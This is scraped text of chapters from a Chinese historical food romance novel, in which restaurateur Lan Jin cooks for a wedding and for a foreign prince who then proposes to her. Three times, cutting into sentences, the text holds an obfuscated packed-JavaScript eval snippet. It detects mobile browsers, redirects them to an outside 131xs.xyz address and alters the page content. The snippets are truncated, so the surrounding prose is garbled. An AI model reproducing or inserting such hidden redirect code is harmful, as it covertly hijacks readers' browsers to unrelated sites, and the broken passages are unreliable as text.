蓝锦笑笑：“平日总钻厨房翻账册，打扮了也搁不住。有这个时间，我还不如多赚些银子。毕竟，人家不能瞧老板收拾得好看，就给我送钱！” 合欢笑着与她系上大红披帛。 蓝锦摘了下来，说道：“换个鹅黄的吧，琴姐姐定然要穿红。” 大红绸花自巷口绵延到了巷尾，顾知租住的三进小院，已经挤满了贺喜的宾客。 连卖炒栗子的小贩都贴上了红“囍”字，笑着迎来送往。 男方家里没有亲人到场，全靠新科同榜来撑场面。 萧仁禹的赏光，引起一片士子的骚动。 蓝锦伸头瞧着窗外院子的热闹，合上窗子，扭头对安琴说道： “琴姐姐你瞒得我好苦，不声不响就把事情定了。” 安琴脸上的妆，足画了几个时辰，正往脸上贴花黄。 “去寻你了么，偏你今日进宫去了，明日跑码头去了，后日又去南郊什么寺里。” “本来还想要你替我给喜服掌掌眼，后来想想，你除了油盐酱醋，只怕什么都不感兴趣。” “那你也叫汝月看看呐，她可是做得一手好刺绣。” “不了，还是不了。区区小事，不要耽搁我们锦娘赚银子才是正经。你今日来，我就欢喜。” “成亲这样的大事，琴姐姐怎么说是小事。”蓝锦抱来一碗喜饼，递给安琴垫垫肚子。 “这还是早先在万年县做喜饼生意时的方子，一转眼，像在做梦一般。” “是越过越好才对！”安琴一把拿起一枚豆沙酥皮饼，大口吃了。 顾知孑然一身，婚宴没有男方长辈。 方懿和祝悟民对女儿又是失而复得，巴不得样样随着她的心意，重视安琴的需求，大过自己的面子。 自然是什么规矩都没有，安琴怎么舒服怎么来。 “我真不觉得是什么大事。这么多大风大浪都经了，看上个小书生，摆个宴，请亲近的人热闹热闹而已。日后我该开药铺开药铺，日子不还是照样过？” 蓝锦把玩着安琴喜服上的金穗子：“若是提前与我说了，从梁家的别院挑一处，至少出阁的排场也更大呀。” 安琴啧啧道：“如今我这排场不大，你的蓝记就不给我添菜啦？” 这话当然是冤枉。 蓝记紧赶慢赶，专为今日的宴席赶出了一批蟹粉狮子头。 选蟹黄红硬的母蟹，上锅蒸了。 拆去蟹脚，掀开蟹壳，筷子一戳，大块的肥红蟹黄就掉了出来。 再勾出剩余的蟹肉，捅干净蟹脚，便是蟹粉蟹黄。 半肥半瘦的猪肋条，剔了皮，切剁成小肉丁，不可过细。 肥瘦丁与蟹粉蟹黄掺在一起，葱姜料酒一拌，撒盐，一点糖，去腥增香。 眼看着肉馅越拌越匀，均匀地撒些生粉进去，搅打上劲，直到它黏着筷子，变得浓稠相依。 揉好的丸子，底下铺一层肉皮，一层青菜。小心地添上高汤，在砂锅里小火慢炖。 直到肉香布满空气，掀开盖子。 肉皮的精华鲜美都进入了汤头中，青菜的清新别添一种风味。 腻乎乎的浮油都要撇去不要，肉皮与青菜也完成了它们的使命。 此刻再加入最后需要摆盘上桌的叶菜，炖上一会。 这道菜是吃蟹不见蟹。 眼里是一枚圆滚滚的肉丸子，吃到嘴里却是浓郁肥腴的蟹鲜味。 精致的瓷白小盅一个个摆到了宾客面前。 盖子一掀开，就出现无数惊叹声。 “美，美极了。” “清汤浮黄玉，碧草映月华呀！” 净澈的汤头清可见底，叫人疑心那是最干净的天山雪水做成的画布，但那浓郁的肉鲜味又打破了这一幻想。 拿着小瓷勺，虔诚地喝上一口汤。 鲜而不腻，清爽香浓，一股强烈的满足感从胸腔四散到全身。 碗中央的肉丸，虽然嫩得似乎在独个轻晃。可是却不塌不软，不碎不萎。 用小勺子轻轻一破，弹嫩的狮子头便应声裂开。中有碎金碎玉般的蟹粉颗粒，勾人口水。 放到嘴中，肥瘦得当的选料立刻发挥作用，鲜味霸道地在口中爆发。 满口只有油香，柔嫩扎实的肉丸，连肉隙里都是鲜美的汁水，糯，滑，鲜，润。 若不告诉众人，只怕谁也吃不出来这是猪肉。 蟹黄的硬弹，偶尔在口中，猛地凸显一下它的存在感。 油脂在齿间漾开，咸鲜中带着挥之不去的蟹香，和若有若无的蟹肉甘甜。 长时间的高温炖煮，早已让猪肉香味和蟹粉香味，交缠夹杂，相融相依。 两种极致的鲜味，裹挟着口水如大潮般四处翻涌，彻底俘获食客的味蕾。 鲜味是醇厚绵长的，它不单薄，叫人回味起来依然是如此有魅力。 各种食材不抢味，反倒互相托举。肉感与荤鲜都恰到好处，美味得不得了。 席间的人无不啧啧称赞：“本以为顾年兄奉行颜回之道，谁承想在此处吃到了这种人间美味。” “刚才我特意向上菜的人打听，才知道这是豕肉和蟹粉的，就在东市的蓝记，她们家就有卖的。” “大雅配大俗，掌柜的好见识啊。” “好吃，这个是真好吃。” “满桌佳肴，当以蟹粉狮子头为魁首。” “恐怕不止如此，在我吃过的所有喜宴之中，蟹粉狮子头都是其中翘楚！” 蓝锦得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638097|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地偷听着前厅的反应，心中默默盘算又有多少人成为蓝记的新死忠。 ——好多都是等待授官的士子，或是在朝为官之人，还怕以后没有机会来光顾她的蓝记吗？ 不若在蓝记固定一个升官宴的章程，其中头道汤品就是蟹粉狮子头？ 雕了胡瓜做一道“节节高升”...... 蓝锦琢磨得正出神，冷不丁瞧见萧仁禹也猫进了内院的亲眷席，腾挪到了她身边。 “怎么来这里了？莫非人家的婚事还要灌你的酒不成？” “来看看你。” 蓝锦嗤笑：“这么一时半会，有什么好看的。” “这道狮子头我真是喜欢，往日怎么未曾在蓝记吃到？” “你不是要吃安琴姐姐的醋吧？难道我就没有做蟹黄汤包给你吃么？” “这道狮子头有汤有菜，一尝就知道耗费了许多时辰，比蟹黄汤包花得功夫还要多。” 蓝锦扑哧一笑：“萧大学士，你真是吃出门道来了。是是是，它就是比蟹黄汤包做得慢。你就去背地里偷偷摸摸羡慕安琴姐姐吧！” 萧仁禹极小声地款款道：“我倒不是羡慕她这个......我只羡慕，他们有情人终成眷属。” 蓝锦喝着汤，一时没想好怎么答话。 萧仁禹继续窃窃私话，幽怨道：“......携手扶持，从今以后风雨同舟。百年修得同船渡，千年修得共枕眠啊。” “哐当”一声，外间传来碗盘打碎的声音。 蓝锦立刻放下勺子，提着裙摆跑去外头，今日是琴姐姐的好日子，可别出了什么岔子。 厅堂中间碎了一只瓷盖，一个男子正在用并不熟练的汉话连连道歉：“对不住，对不住。” 来人虽穿着天都流行的服色，可长相明显是异域风情。 小麦色的肌肤，微卷的黑发，眼神像鹰隼一样机敏。 蓝锦上前，指挥来帮场的楼里伙计收拾了，笑着控场：“来者是客，小风波而已，大家继续吃着。” 拉乌对蓝锦行了一礼：“美丽的天都女郎，请原谅我的莽撞。我本来是路过这里，只因这份神秘的汤太香了，我深深爱上了它。冒昧前来打扰，谁知太过激动，才一时失手，对不住。” 蓝锦笑道：“这不算什么，我叫厨下再给你上一份，你再好好尝尝。以后要是还想吃，记得认准蓝记。天都有三家，打街上一问就有人指给你，很好找的。” 萧仁禹跟了出来，就站在蓝锦身后，安静地打量对面的不速之客。 “美丽的女郎，这是你的双手做出来的伟大食物吗？这真是太了不起了，愿海神永远保佑你。”拉乌激动道。 安琴的婚宴虽说不算大排场，但蓝锦为了尽一份心意，叫人在门口摆了两桌流水席。 送上祝福的人，都能进来吃两口。 这个拉乌想必也是这样进来的。 蓝锦还在站着，陪他一块等新的狮子头送上来。 萧仁禹却拉着她的手腕，将她带回了内院。 “干什么呀？” “此人暗携凶器，仪态举止不同常人，只怕是异国使节，还是少招惹为好。” “那也只是吃两个狮子头嘛。” 88. 第88章 蓝记的烧尾宴一经推出，就在天都士子间受到了追捧。 尤其是席间那道蟹粉狮子头。 以其绝佳的清雅卖相，和清爽鲜美的味道，荣登食客心头好的首位。 蓝记酒楼的后厨弥漫着香浓的蟹粉香味，引来了左邻右舍的猫儿。 个个趴在屋檐上蹲守，自发排成一队，憨态可掬。 秋日里，做老鸭煲的次数越来越多。 蓝锦拿白水煮了鸭脯子肉，架了梯子攀到屋顶前。 拿棍子“啰啰”地敲着盆，把四面八方的猫儿都引了过来。 谢令章踏进蓝记的后院，看到的就是这样一番滑稽的场景。 冷天里头，她本是急出了一身薄汗，现下却是不敢催不敢碰。 “锦娘，怎么跑到那里去了？你也学小秋一样顽皮，把自己当成酒钱那样的小狗了。” 大公主不由自主地向前几步，担心往下走的蓝锦失足跌了下来。 “不碍事的，这梯子稳得很，我常踩着它上屋顶晒干货。” 蓝锦单手抱着盆，手脚灵活地下了梯子，一步步走得很稳。 到她落地的那一刻，大公主悬着的心总算放了下来。 蓝锦搁下食盆，擦干净手，笑道：“殿下来找我，可是有事？” “真是有桩极紧要的事，要辛劳锦娘陪我走上一趟。事出紧急，我们路上边走边说。” 马车一路驶进了西洲园。 此处乃是皇家园林，历来只做高规格的外事接待和大型宴飨。 寻常百姓难得一见，更别提置身其中当座上宾了。 时值深秋，冷彻的寒意打在人的臂膀上，凉飕飕的。 一路行来，恰逢掌灯时分，往来宫人逐一点上宫灯。 远看，一片萤火跳跃微微，但照不亮大片的山石林木。 暮色昏沉的园林，隐隐透着一阵肃穆之气。 临湖的西暖阁，偶有宴饮丝竹声音传出。 蓝锦远远瞧见了暖阁里的金线织锦地毯，悄声询问谢令章： “殿下，确定是要我来这里做菜吗？” 谢令章回以一个郑重的点头： “锦娘，满天都恐怕也唯有你能行了。” 今日西洲园的宴席，原是为着招待罗斛国的来使。 席间的菜肴排场甚大，无一不精致。 可也是含着金汤匙出生的罗斛国王子，却屡屡露出遗憾的神色来。 圣人好奇垂询，却见人家不卑不亢： “此物虽美，借一句汉话来说，却叫我愈发想念我的家乡啊！” 这是翻译把王子的话润色、包装之后，尽可能用婉转的话语说出来的。 圣人听不得这个，心里立时不大爽利。 有好事的宗室站出来提议： “不如叫贵使指定一道家乡菜色，我们天都的御厨，也能做得有模有样，准保让王子乐不思蜀。” 谁料罗斛国王子激动得一拍大腿，仿佛就是为了等这句话。 “我们此来，正是为了献上敝国至尊食物。贵国四处都是学识渊博的能人异士，一定能把它做成伟大的菜色！” 方才因为便宜哥哥对使节的呛声，而沾沾自喜的圣人，此刻心里也暗暗打鼓。 无他，只因献上来的这个小玩意，闻所未闻，见所未见。 硕大的藤编筐里，放满了圆滚滚、石头一般的不明物。 形态新奇，表面一层黑褐色的粗硬毛刺。 摸起来沉甸甸的，中心似有异响。 满座宾客，从宗室贵族，到王公大臣。 再到特意传来的御医、御厨，都不能破解此物为何。 翰林院已经有官员告罪离席，说要回值房详查经籍，找出关于此物的记载。 “回圣上，此物可能为一种木头。” “圣上，此物恐怕不合于阴阳之道，于身体无益，赏之比食之更妙。” 就在这样硬给的台阶里，圣人勉强没把自己的脸面当场扔掉。 宴席摇摇欲坠地进行了下去，可是罗斛国使节的脸色越发得意洋洋。 他们的王子还自得地感叹： “往日只听说，天都是天上地下绝无仅有的美食之都，如今看来，此言不实，只怕夸张的成分多矣。” 这句话，鸿胪寺的官员没给直译出来。 但席间不少听得懂罗斛话的人，却是深觉冒犯。 蓝锦走进席间的时候，宴席还在不尴不尬地进行。 厅堂中央的罗斛异宝，也还没有撤下去，就那么大剌剌地堆在那里。 打眼一瞧，蓝锦心里噗嗤一笑。 这不就是原生态的椰子嘛！ 刚才听大公主描述，她就做此猜想。 又觉不会这样幸运，真能喝上清冽香甜，爽口清新的椰子汁。 此刻真的见到椰子——哪怕它未砍去纤维层，未经过处理，蓝锦还是喜出望外。 谢令章见到蓝锦眼神，当下就知此事可成。 朗声宣布：“蓝记酒肆蓝锦娘子，愿为罗斛贵使烹调菜肴，以慰家乡之思。” 一时全场的目光都聚集到二人这里。 不少胡子花白的老臣，暗中交换眼色，满脸都是不可置信。 “这样年轻的女娘，真能识得此物？” “倘若搬起石头砸自己的脚，今日该如何收场啊。” “哎，你我还是谨言慎行，小心捱着吧。” 圣人也是做此想法。 毕竟，那些翻书箧的老学究们，直到此刻也还没有回来。 “令章，莫要胡闹了。刚才匆匆离席，竟是为了此等小事。来，陪阿耶饮完此杯葡萄酿。” 接连几次的立功，叫圣人也对大公主兴起几分慈父之情。 有意回护，并不把她划归到可以随意顶罪的阵营。 而那位罗斛王子，却在见到蓝锦的那一刻，就激动地低呼出口。 却还想着他定要说家乡语言，不可失了使节颜面的信条。 嘴皮翻动，跟鸿胪寺的翻译说了一大堆。 “圣上，拉乌殿下说，这些异宝都交予这位女娘处理，不拘什么菜色，一定要她做。” 圣人讶异极了。 自打踏入殿门就目不斜视的蓝锦，偷偷瞥了眼旁边的座位。 熟面孔中，除了为她捏着一把汗的萧仁禹，就是那位闯婚宴的异乡客。 原来如此。 饶是萧仁禹再紧张，此事也只能敲定了。 满场只有蓝锦自己最轻松，依言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643605|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领了椰子退下了。 椰子竟有两种，一种青椰，一种老椰。 蓝锦从容地砍去了外面的纤维层。 青椰洁白质软，用刀很容易就削开了。 椰汁清冽香甜，椰肉香果冻一样嫩滑甜糯，勺子一挖一个准，就像后世超市里最常见的水果椰青一般。 老椰虽外壳坚硬，可头上也有三个凹坑。 沿着壳身敲上一圈，寻到其中一个最软的洞。 “噗”的一声戳进去，倒搁在碗盘上，淡乳色的椰汁就汩汩流了出来。 砸开壳子，厚厚的椰肉白得像雪，浅淡却持久的椰香在空气中四处蔓延。 收集起来的椰肉，磨碎之后，放到温水里揉搓。 这里没有榨汁机，好在人力众多，用手工的方法代替，反倒更加香浓幼滑。 一刻不停地揉搅，促进椰子中的油脂和蛋白质加速乳化。 再裹进干净的细笼布里，反复多次，挤榨出椰奶。 蓝锦反复品尝调味，加了糖和水，浓酽酽的椰奶就做好了。 一杯杯洁白的椰奶，放在青玉盏中，叫侍从们送去了宾客们的面前。 椰奶异香扑鼻，举起来轻轻一动，杯壁几乎坠上一层白痕。 送入口中，浓烈的椰香在口中奔逸。 椰子的丰厚油脂，叫这香气愈发醇厚绵长。 深深吸上一口气，这种奶香味几乎叫人立时醉了。 虽未曾谋面，却好像能想象出来那种阳光炽热的海边沙滩，椰林飘香。 一杯浓郁的椰奶，新奇美味，在大家还没有反应过来的时候，就喝得干干净净。 “居然比牛乳还要香美。” “刚才摸着，只觉粗野顽硬。未曾想到，中有金玉啊。古人所言极是，如今才知不可以貌取物。” “可惜，只是饮子，倒连菜肴都算不上。” 在场的宾客都偷眼去瞧罗斛使团那边的反应。 却见他们也一副未曾尝过的样子，个个惊喜地交头接耳。 恰在此时，一份份圆咕隆咚的锅子送到了席上。 清澈的汤底是纯粹的新鲜椰汁，刚从椰子里取出来的，没有添加一滴水。 扑面而来的清香热气中，金黄的油脂和清甜的椰汁交缠错杂。 不过几月龄的小鸡，鲜嫩雪白。 一碟碟配菜鱼贯而入，切斩开的乳鸽，剔去细刺的鲈鱼片，弹嫩的手斩虾滑，打得薄薄的猪里脊片…… 还有翡翠白玉般的冬瓜片，爽口滑嫩的木耳，青黄娇嫩的竹笋片，绿油油的菊花脑，状似蜂窝的冻豆腐，雪白甜脆的藕片…… 蓝锦娓娓道来：“这是椰子鸡火锅。锅中的鸡肉已经熟透，蘸碟里放了香醋、小青柠和茱萸，配在一起吃，鲜美异常。” 众人应声尝试。 鸡肉软滑非常，鼓起来的肉块里，藏的都是丰沛腴美的汁液。 咬下去的瞬间，鲜美的肉汁与甜醇的椰汁一齐在嘴里爆开。 越嚼越醇香，几乎尝不出鸡肉的丝络，入嘴之后，立时化在口中。 而那股清润的甜香，还萦绕周身，挥之不去。 椰子的清甜，恰到好处地去除了鸡肉的腻口。 “如今才知道什么是雅好天然！” 89. 第89章 罗斛的拉乌王子，从拿起筷子的那一刻开始，就没有停止进食的动作。 他简直无师自通。 嫩滑的椰子鸡肉一块接一块放到嘴里，剔干净的骨头像流水一样吐出来。 鸡肉蘸着酸辣清新的小料，时不时蹿起的一点辣痛，激得人浑身一震。 小青柠的味型，与鸡肉是天作之合。 翻滚的椰汁汤底，涮了几片薄如蝉翼的鱼肉片。 充满甜香气的热汤一滚，雪白的鱼肉受热蜷曲，变成漂亮的卷儿。 放进嘴里，鱼肉的鲜美在舌面跳跃。 肉隙里的鲜鱼油脂，和椰汁融合在一处，肆意在口腔中奔涌。 最神奇的还是那碟冻豆腐。 表面的每一个小孔都吸饱了椰子鸡汤的荤香，轻轻往蘸料碗里一放，雪白的豆腐一半染成棕褐色。 在齿间一咬，浓烈的酸鲜甜辣滋味充溢唇舌。 嚼起来也艮韧弹牙，十分有趣味。 虾滑又是另一种弹脆。 椰汁的甜香，为虾肉的鲜美，添上一种复杂的层次。 温润的火锅涮过，变红即捞，刚吹上几口凉气，就迫不及待送出口中。 最新鲜的食材，和刚出炉的火候，将虾肉的汁水完全锁住。 一咬下去，就溢出来醇厚鲜浓的汤汁。 无与伦比的口感与调味，叫人欲罢不能。 满心沉浸在美食中的罗斛使团，还顾不及做出什么评价。 座下的天都大臣们，已经啧啧称赞。 “这种甜香，与刚才的饮子如出一辙。可是刚才是甜，现下是咸，居然搭配得浑然天成。” “从未吃过这样美味的鸡肉。罗斛宝物还真是有它的妙处啊。” “如果不是大公主带来的能人，我们也无法品尝到这般手艺呀。” “往常没有试过这样的清汤锅子，今日这样一试，竟然有这样的效果。” “各种食材的腥膻味都去除殆尽，可是各自的鲜味却得到了彰显。” 拉乌王子终于从埋头苦吃中回过神来，捂着浑圆的肚子，恋恋不舍地放下了筷子。 人却吃得晕乎乎的，飘飘然不知身在何处。 “好吃极了！太美味了！” 他忍不住说了汉话，引得使节团里一阵侧目，才想起来收敛。 鸿胪寺的官员暗中腹诽，却还是尽职尽责地翻译了拉乌的话。 “这位女娘做出了我家乡的味道，不，比我家乡的味道还要好上千倍百倍！” 圣人开怀大笑：“拉乌王子慧眼识珠，与我英雄所见略同啊！” 天都臣子纷纷附和：“是啊是啊，也只有在天都，才能吃上这样美味的……” 什么来着？ 蓝锦笑盈盈地补充： “这样美味的椰子鸡火锅。有朋自远方来，倘若罗斛贵宾们愿意赏光，我们蓝记还能做出更多的椰子菜色，诚请惠顾。” 拉乌不等与使节团商量，立即拍板： “我们罗斛至宝，在这位美丽的女娘手里才能发挥出最美味的一面。甚至比我们家乡的烹调法还要高妙。此行所带，都交给这位女娘才是。” 圣人笑容更大：“拉乌啊拉乌，你算是找对人了。你可知道，这位是我们天都有名的御膳娘子。她一定会让你的天都之行焕然一新的。” 拉乌闻言，也一副期待的样子。 * 许是因为近期有使节团造访，东市的香料市场上了许多肉桂、姜黄、肉豆蔻、丁香、胡椒，甚至还有香茅草，全都品质极佳。 蓝锦起了个大早，亲自来体验一下这番时令经济。 “掌柜的，黑白胡椒我全都要了，包起来就好。” 刚开张就来了一个大单，香料铺老板喜不自胜： “得嘞，老板您发财。” “生意兴隆啊。” 蓝锦刚要从荷包里掏钱付账，旁边冷不丁伸出一个华丽的臂膀，撂下一锭金子：“不用找了。” “诶？怎么是你？” 拉乌自来熟地替蓝锦接过香料包裹，拎在手里。 自然而然地就和她并肩走了起来。 蓝锦叫他打了个措手不及，只听拉乌兴奋地对她说：“美丽的天都女娘，能不能请你屈尊，再为我展示一道神秘的天都菜色？” “是要吃饭啊？”蓝锦哭笑不得，把自己的香料夺了回来。塞给他钱，他还不要。 “这犯不上屈尊不屈尊的，打这儿往前走，没多远就是我家酒楼。要不你就上那儿用午食，想点什么就点什么。” 拉乌用力点头，人却还不走，硬赖在蓝锦身边。 亦步亦趋，竟是一路跟着蓝锦回了蓝记。 “娘子，今日可有好货？”悟雅来接蓝锦手里的香料。 收拾桌椅的伙计瞥见后头坠着的拉乌，笑着迎上去，一字一顿地大声说道： “客官，还没开张，您晌午再来光顾吧！” 拉乌刚才还与蓝锦有声有色地交谈。 遇见阻拦他吃饭的话，不想理会，就跟没听着一样。 还是目光追随着蓝锦的去处，依然向里走。 悟雅悄声问自家娘子：“怎么像听不懂话一样？” 蓝锦嘴巴无声张合：“可能人比较憨直。” 她到底还是亲自招待拉乌到厢房上座，决意给他随便做点什么吃。 厨下刚好来了新宰杀的整猪，一起送来的腰子格外红嫩新鲜。 蓝锦刀随手动，麻利地剔去筋膜，全都切成三毫米左右，薄厚适中的腰片。 不是改花刀的腰花，而是豆瓣一样的半圆腰片，更加入味。 锅里倒上清水，搁上适量的生姜与料酒，快速焯水去腥，一飞即过。 新鲜至极的腰片焯去了腥气，只留下别样的鲜香嫩滑。 再支起一口油锅，温度不要太高，确保不至于糊锅。 把麻香非凡的大红袍花椒，与椒香浓郁的青花椒，“咻”地撒入锅中。 锅中逐渐发出“刺啦”的脆响，越烧越热的油脂，逼出了花椒最本真的魅力。 一时厨灶间充满了清新的麻香，引人食指大动，忍不住闻了又闻，畅想这道菜的成品该有多好吃。 焯过水的鲜嫩腰片，在快准狠的颠勺过程中，浑身浸泡在鲜香的料汁中。 酸麻，微甜，微辣。 一点点薄芡，把锅中的一切融合到了一起，诠释这种极致的鲜美。 这道菜是标准的火候菜，上得极快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649887|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从烹调到上桌，拉乌甚至还没能喝完一杯饮子。 蓝锦还贴心地为他准备了一碗米饭：“配着一起吃，更美味哦。” 拉乌迫不及待地夹起一筷子腰片，三两片一齐放到嘴里。 入口是腰片的脆，弹，爽，糯。 牙齿仿佛叫腰片控住了，难以停下咀嚼的动作。 那种麻意不重，恰到好处，但偏偏不可忽视，与腰片的咸鲜浑然一体，引人吃了一口又一口。 微不可察的辣，若有若无的甜，还有一点点回味的酸香…… 拉乌没筷子都要夹上好几片。 蘸上浓稠挂壁的汤汁，那种酸甜鲜的调味更加明显。 越嚼越香，越嚼越糯，越嚼越美味。 米饭都来不及入口，这碟分量不少的椒香腰片就叫他吃空了一小块地方。 麻椒味道在此刻更加浓郁美味，舌头都为它轻轻战栗。 拉乌这才想起了面前的米饭。 夹上一大筷子深粉红的腰片，搁到雪白的米饭上头。 腰片的芡汁，缠绵地勾到其下的每一粒米上，侵染出一片美味。 用腰片裹上一团米饭，一起送入口中。 脆弹的腰片，在软糯米饭的衬托之下，更显其中魅力。 最一开始是脆极了的，嚼上几口变得醇香，回味没有腥臊，只有发糯的清甜。 麻椒的风味没有喧宾夺主，麻香不呛，只是最大限度发挥出了腰片本身的鲜香。 酸甜咸辣的调味，是其中的神来之笔。 拉乌完全不知这是怎么做到的，他本来是从不吃下水的人。 如今抱着一盘子腰片吃得不肯撒手，若叫家乡的人知道，只怕要笑掉大牙。 可是这盘蓝记腰片实在太过美味，没有他最讨厌的脏器腥味，吃起来还嫩滑得如同乳脂，同时又有弹脆的口感，叫人心生雀跃。 不同于一般的师傅，用直白的姜蒜酒椒去腥，叫配料的味道完全夺去了食材本鲜。 蓝记的腰片，麻中带鲜，辣中带酸，酸中带甜，甜为咸底。 芡汁也明亮简单，多一分则厚，少一分则薄。 如今正好，叫满盘的调料全都裹住腰片，入味极了。 拉乌一阵风卷残云，满登登的一道椒香腰片，转瞬就化作了一碟空荡荡的汤汁。 他还在坚持不懈地从里头翻找，企图再挑出一片漏网之腰。 直到盘中真是吃得干干净净，他简直想要端起盘子，直接把剩下的汤汁一口喝了。 “哎，哎，不要喝。”前来上甜品的蓝锦伸手拦下。 “客人要是没吃过够，再炒一盘子就是了。这汤汁油汪汪的，喝了只怕对胃肠不利。” 拉乌吃得几乎泪眼汪汪：“这位美丽的天都女娘，你的手艺怎能如此绝妙。这是我一生都没有吃过的味道，我太想要留住它了。” 有人喜欢吃自己的菜，蓝锦自然是高兴的。 她笑眯眯地对拉乌说：“左右使团居住的驿馆离蓝记也不远。殿下还要留在天都商讨和亲事宜，来日方长，尝鲜的机会还多的是。” 拉乌对她行了一个奇怪的礼，激动道：“美丽的女娘，你愿意做我的妻子吗？” 门外的鹿皮靴闻言一顿。 90. 第90章 蓝锦叫拉乌的话逗笑了：“没有听说喜欢吃一家店的饭菜，就要跟厨子成亲的。” 拉乌这人却不是像在开玩笑的样子： “美丽的天都女郎，我以海神的名义起誓，恳请你随我归乡，做我的妻子。” 门外的萧仁禹手指收紧，一下撩开帘子，几步迈进厢房。 人却不看拉乌，只是对着蓝锦说话： “前些时日送去的缎子可曾用上？虽则裁寝衣嫌它粗糙了些，不过，叫家里的绣娘做成被枕，倒是水滑合宜。” 蓝锦闻弦音而知雅意，当下就听懂了萧学士葫芦里卖的什么药。 “用了用了，舒服得不得了，连我们家老夫人摸着都说好，说要请你来家里聚一聚。如今我若不是用你送的被褥，只怕夜间不能安枕。” 萧仁禹微微一笑：“如此便好。锦娘每日辛劳，起居坐卧要格外舒适些才行。” 拉乌看着两人你一言我一语，自己竟像个局外人，完全插不上话。 一时间，连手里的椒香腰片都不香了。 萧仁禹还在不依不饶地展示与蓝锦的亲昵： “我上次去看，咱们家的蟹池近来的收获甚好。锦娘上次说的清蒸大闸蟹，应是正当时了。” 蓝锦强忍住笑：“是极。这一向卖得都是很俏的，尤其是近日，顶盖满膏的螃蟹更多更肥。不如我们去蒸上两只，自家也尝尝？” 萧仁禹若有若无地瞥了一眼拉乌，见他呆愣愣地木在当场，心下更是满意：“如此也好。” 蓝锦便也借这个机会，与拉乌一点头，离开了厢房，权当此前与他的对话并没有发生。 萧仁禹与她并肩走着，人却有些不大高兴的样子，脚步迈得飞快。 蓝锦紧跑两步，也高声道：“哎，你这人，走得这么快做什么？不是你要吃清蒸大闸蟹的么？” 萧仁禹停了下来，来回踱步，还是略有些激动的样子： “我能吃你做的大闸蟹，旁人也能吃你做的大闸蟹。锦娘，我们就不能......” 蓝锦奇怪道：“这话好生没道理。我开的是酒楼，做的菜是要卖钱的。自然要人人都来吃饭，我才能赚到钱啊。” 萧仁禹只道：“那也没有吃了人家做的饭，张口就要求娶的道理。” 蓝锦笑嘻嘻地活跃气氛：“你不也是喜欢吃我做的饭，才决计求娶的吗？” “我才不是这般肤浅！哪有只因为饭食好吃，就要将一个人的终身大事视为儿戏的。” “你瞧，你也这样觉得。所以呀，刚才他不就是在开玩笑嘛。” “哪有这么简单。” “怎么没有？他是远方来客，家乡在千里之外。吃着没见过的菜肴，一时激动，话赶话的嘛，当不得真。” “如今和谈进程已经过半，他还在天都逗留，就是因为和亲人选迟迟择定不下来。” “他左择又择，那也择不到我的头上。我又没有卖女求荣的父族管着，又不是锦衣玉食的花瓶，总不可能撇下身家不要，跑去南边的罗斛吧。” 二人慢慢往惯去的厢房踱步。 听着蓝锦从容柔缓的语气。 萧仁禹也渐渐平复：“对不住，锦娘，我不该对你言语冲撞。” 蓝锦大度地一挥手：“没什么事。要是你过意不去，便多给我带些清珩的家书，我可盼着她的消息。” 大闸蟹来得很快。 酒楼里的蒸笼大，灶火旺，受热也均匀。 盖上姜片，热气蒸腾，不过一会儿功夫便鲜红诱人。 一摆上餐桌，任食客有多少的不平不快，胸中的烦闷都尽数消除殆尽。 而空气中的那股蟹独有的腥香，浓郁特别，只怕要绕梁三日。 要想要达到这个效果，非得在挑蟹的时候就下功夫。 鲜活的大闸蟹，非得是青背白肚，黄毛金爪的。 因着水质好，蟹腮必然是雪白无痕的。 蟹的肚子越发白，蟹的背壳越泛绿，就说明这蟹越正宗。 野生的螃蟹固然鲜香十足，别有一番蟹味，可是个头长不了多大。 蓝锦精心调配了饲料的比例，反复试了多次，不知投入多少心血，养出了足有四两以上的母蟹。 这个重量的蟹，吃起来最为过瘾。 哪怕放在她的那个时代，也是一蟹难求的金贵生物。 饱满的大螃蟹，在手里一掂量，只觉得沉甸甸的，扎实极了。 从蟹壳和肚腹的接缝处一看，丰腴的蟹黄几乎撑得蟹身大开门户，快要饱胀出来。 这就是大闸蟹中的极品。 越是满黄的螃蟹，蟹肉也会越鲜甜。 简直是来报恩的存在，两种味蕾的享受都叫它占去了。 食客自然是其中最大的赢家，谁叫大螃蟹的蟹黄美味，蟹肉也清香。 鱼和熊掌，恰在此刻得以兼顾。 配蟹吃的是一碟简简单单的姜醋汁。 酸香味能解了螃蟹的腻口与河鲜的腥气。 又要吃姜不见姜。 水分饱满的小嫩姜，切剁了姜蓉。 挤滤出金黄的姜汁，滴到香醋里头，酸辣好味。 若爱吃甜，一点点糖撒下去，搅到全融了。 到时蘸上蟹肉，只怕鲜甜加鲜甜。 